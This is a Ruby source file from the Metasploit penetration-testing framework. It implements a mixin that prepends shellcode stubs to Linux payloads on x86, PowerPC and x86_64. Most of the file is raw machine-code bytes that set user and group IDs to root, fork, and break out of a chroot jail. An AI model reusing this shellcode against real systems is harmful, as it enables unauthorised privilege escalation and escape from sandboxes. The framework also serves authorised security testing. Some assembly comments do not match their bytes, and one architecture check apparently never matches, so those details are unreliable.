metasploit-framework/lib/msf/core/payload/linux.rb

429 lines
19 KiB
Ruby
Raw Normal View History

# -*- coding: binary -*-
require 'msf/core'
###
#
# This class is here to implement advanced features for linux-based
# payloads. Linux payloads are expected to include this module if
# they want to support these features.
#
###
module Msf::Payload::Linux
2013-09-05 18:24:09 +00:00
#
# This mixin is chained within payloads that target the Linux platform.
# It provides special prepends, to support things like chroot and setuid.
#
def initialize(info = {})
ret = super(info)
register_advanced_options(
[
Msf::OptBool.new('PrependFork',
[
false,
"Prepend a stub that executes: if (fork()) { exit(0); }",
"false"
]
),
Msf::OptBool.new('PrependSetresuid',
[
false,
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
"false"
]
),
Msf::OptBool.new('PrependSetreuid',
[
false,
"Prepend a stub that executes the setreuid(0, 0) system call",
"false"
]
),
Msf::OptBool.new('PrependSetuid',
[
false,
"Prepend a stub that executes the setuid(0) system call",
"false"
]
),
Msf::OptBool.new('PrependSetresgid',
[
false,
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
"false"
]
),
Msf::OptBool.new('PrependSetregid',
[
false,
"Prepend a stub that executes the setregid(0, 0) system call",
"false"
]
),
Msf::OptBool.new('PrependSetgid',
[
false,
"Prepend a stub that executes the setgid(0) system call",
"false"
]
),
Msf::OptBool.new('PrependChrootBreak',
[
false,
"Prepend a stub that will break out of a chroot (includes setreuid to root)",
"false"
]
),
Msf::OptBool.new('AppendExit',
[
false,
"Append a stub that executes the exit(0) system call",
"false"
]
),
], Msf::Payload::Linux)
ret
end
#
# Overload the generate() call to prefix our stubs
#
def apply_prepends(buf)
2013-09-05 18:24:09 +00:00
pre = ''
app = ''
test_arch = [ *(self.arch) ]
# Handle all x86 code here
if (test_arch.include?(ARCH_X86))
# Prepend
if (datastore['PrependFork'])
pre << "\x6a\x02" +# pushb $0x2 #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 ; fork #
"\x85\xc0" +# test %eax,%eax #
"\x74\x06" +# jz 0xf #
"\x31\xc0" +# xor %eax,%eax #
"\xb0\x01" +# movb $0x1,%al ; exit #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc9" +# xorl %ecx,%ecx #
"\x31\xdb" +# xorl %ebx,%ebx #
"\xf7\xe3" +# mull %ebx #
"\xb0\xa4" +# movb $0xa4,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x31\xc9" +# xorl %ecx,%ecx #
"\x31\xdb" +# xorl %ebx,%ebx #
"\x6a\x46" +# pushl $0x46 #
"\x58" +# popl %eax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x31\xdb" +# xorl %ebx,%ebx #
"\x6a\x17" +# pushl $0x17 #
"\x58" +# popl %eax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x31\xc9" +# xorl %ecx,%ecx #
"\x31\xdb" +# xorl %ebx,%ebx #
"\xf7\xe3" +# mull %ebx #
"\xb0\xaa" +# movb $0xaa,%al #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x31\xc9" +# xorl %ecx,%ecx #
"\x31\xdb" +# xorl %ebx,%ebx #
"\x6a\x47" +# pushl $0x47 #
"\x58" +# popl %eax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x31\xdb" +# xorl %ebx,%ebx #
"\x6a\x2e" +# pushl $0x2e #
"\x58" +# popl %eax #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependChrootBreak'])
# setreuid(0, 0)
pre << "\x31\xc9" +# xorl %ecx,%ecx #
"\x31\xdb" +# xorl %ebx,%ebx #
"\x6a\x46" +# pushl $0x46 #
"\x58" +# popl %eax #
"\xcd\x80" # int $0x80 #
# break chroot
pre << "\x6a\x3d" +# pushl $0x3d #
# build dir str (ptr in ebx)
"\x89\xe3" +# movl %esp,%ebx #
# mkdir(dir)
"\x6a\x27" +# pushl $0x27 #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 #
# chroot(dir)
"\x89\xd9" +# movl %ebx,%ecx #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 #
# build ".." str (ptr in ebx)
"\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x66\x68\x2e\x2e" +# pushw $0x2e2e #
"\x89\xe3" +# movl %esp,%ebx #
# loop changing dir
"\x6a\x3d" +# pushl $0x1e #
"\x59" +# popl %ecx #
"\xb0\x0c" +# movb $0xc,%al #
"\xcd\x80" +# int $0x80 #
"\xe2\xfa" +# loop -6 #
# final chroot
"\x6a\x3d" +# pushl $0x3d #
"\x89\xd9" +# movl %ebx,%ecx #
"\x58" +# popl %eax #
"\xcd\x80" # int $0x80 #
end
# Append exit(0)
if (datastore['AppendExit'])
app << "\x31\xdb" +# xorl %ebx,%ebx #
"\x6a\x01" +# pushl $0x01 #
"\x58" +# popl %eax #
"\xcd\x80" # int $0x80 #
end
# Handle all Power/CBEA code here
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
# Prepend
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
"\x7c\xa5\x2a\x78" +# xor r5,r5,r5 #
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
"\x38\x1f\xfe\xa5" +# addi r0,r31,-347 #
"\x44\xff\xff\x02" # sc #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
"\x38\x1f\xfe\x47" +# addi r0,r31,-441 #
"\x44\xff\xff\x02" # sc #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
"\x38\x1f\xfe\x18" +# addi r0,r31,-488 #
"\x44\xff\xff\x02" # sc #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
"\x7c\xa5\x2a\x78" +# xor r5,r5,r5 #
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
"\x38\x1f\xfe\xab" +# addi r0,r31,-341 #
"\x44\xff\xff\x02" # sc #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
"\x38\x1f\xfe\x48" +# addi r0,r31,-440 #
"\x44\xff\xff\x02" # sc #
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
"\x38\x1f\xfe\x2f" +# addi r0,r31,-465 #
"\x44\xff\xff\x02" # sc #
end
if (datastore['PrependChrootBreak'])
# setreuid(0, 0)
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
"\x38\x1f\xfe\x47" +# addi r0,r31,-441 #
"\x44\xff\xff\x02" # sc #
# EEK! unsupported...
end
# Append exit(0)
if (datastore['AppendExit'])
app << "\x3b\xe0\x01\xff" +# li r31,511 #
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
"\x44\xff\xff\x02" # sc #
end
elsif (test_arch.include?(ARCH_X86_64))
if (datastore['PrependFork'])
# if (fork()) { exit(0); }
pre << "\x6a\x39" # push 57 ; __NR_fork #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
pre << "\x48\x85\xc0" # test rax,rax #
pre << "\x74\x08" # jz 0x08 #
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x3c" # push 60 ; __NR_exit #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x48\x89\xfe" # mov rsi,rdi #
pre << "\x6a\x75" # push 0x75 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetreuid'])
# setreuid(0, 0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x48\x89\xfe" # mov rsi,rdi #
pre << "\x48\x89\xf2" # mov rdx,rsi #
pre << "\x6a\x71" # push 0x71 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetuid'])
# setuid(0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x69" # push 0x69 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetresgid'])
# setresgid(0, 0, 0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x48\x89\xfe" # mov rsi,rdi #
pre << "\x6a\x77" # push 0x77 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetregid'])
# setregid(0, 0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x48\x89\xfe" # mov rsi,rdi #
pre << "\x48\x89\xf2" # mov rdx,rsi #
pre << "\x6a\x72" # push 0x72 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetgid'])
# setgid(0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x6a" # push 0x6a #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependChrootBreak'])
# setreuid(0, 0)
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x48\x89\xfe" # mov rsi,rdi #
pre << "\x48\x89\xf8" # mov rax,rdi #
pre << "\xb0\x71" # mov al,0x71 #
pre << "\x0f\x05" # syscall #
# generate temp dir name
pre << "\x48\xbf" # mov rdi, #
pre << Rex::Text.rand_text_alpha(8) # random #
pre << "\x56" # push rsi #
pre << "\x57" # push rdi #
# mkdir(random,0755)
pre << "\x48\x89\xe7" # mov rdi,rsp #
pre << "\x66\xbe\xed\x01" # mov si,0755 #
pre << "\x6a\x53" # push 0x53 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
# chroot(random)
pre << "\x48\x31\xd2" # xor rdx,rdx #
pre << "\xb2\xa1" # mov dl,0xa1 #
pre << "\x48\x89\xd0" # mov rax,rdx #
pre << "\x0f\x05" # syscall #
# build .. (ptr in rdi )
pre << "\x66\xbe\x2e\x2e" # mov si,0x2e2e #
pre << "\x56" # push rsi #
pre << "\x48\x89\xe7" # mov rdi,rsp #
# loop chdir(..) 69 times
# syscall tend to modify rcx can't use loop...
pre << "\x6a\x45" # push 0x45 #
pre << "\x5b" # pop rbx #
pre << "\x6a\x50" # push 0x50 #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
pre << "\xfe\xcb" # dec bl #
pre << "\x75\xf7" # jnz -7 #
# chroot (.) (which should be /)
pre << "\x6a\x2e" # push . (0x2e) #
pre << "\x48\x89\xe7" # mov rdi,rsp #
pre << "\x48\x89\xd0" # mov rax,rdx #
pre << "\x0f\x05" # syscall #
end
# Append exit(0)
if (datastore['AppendExit'])
app << "\x48\x31\xff" # xor rdi,rdi #
app << "\x6a\x3c" # push 0x3c #
app << "\x58" # pop rax #
app << "\x0f\x05" # syscall #
end
end
return (pre + buf + app)
end
end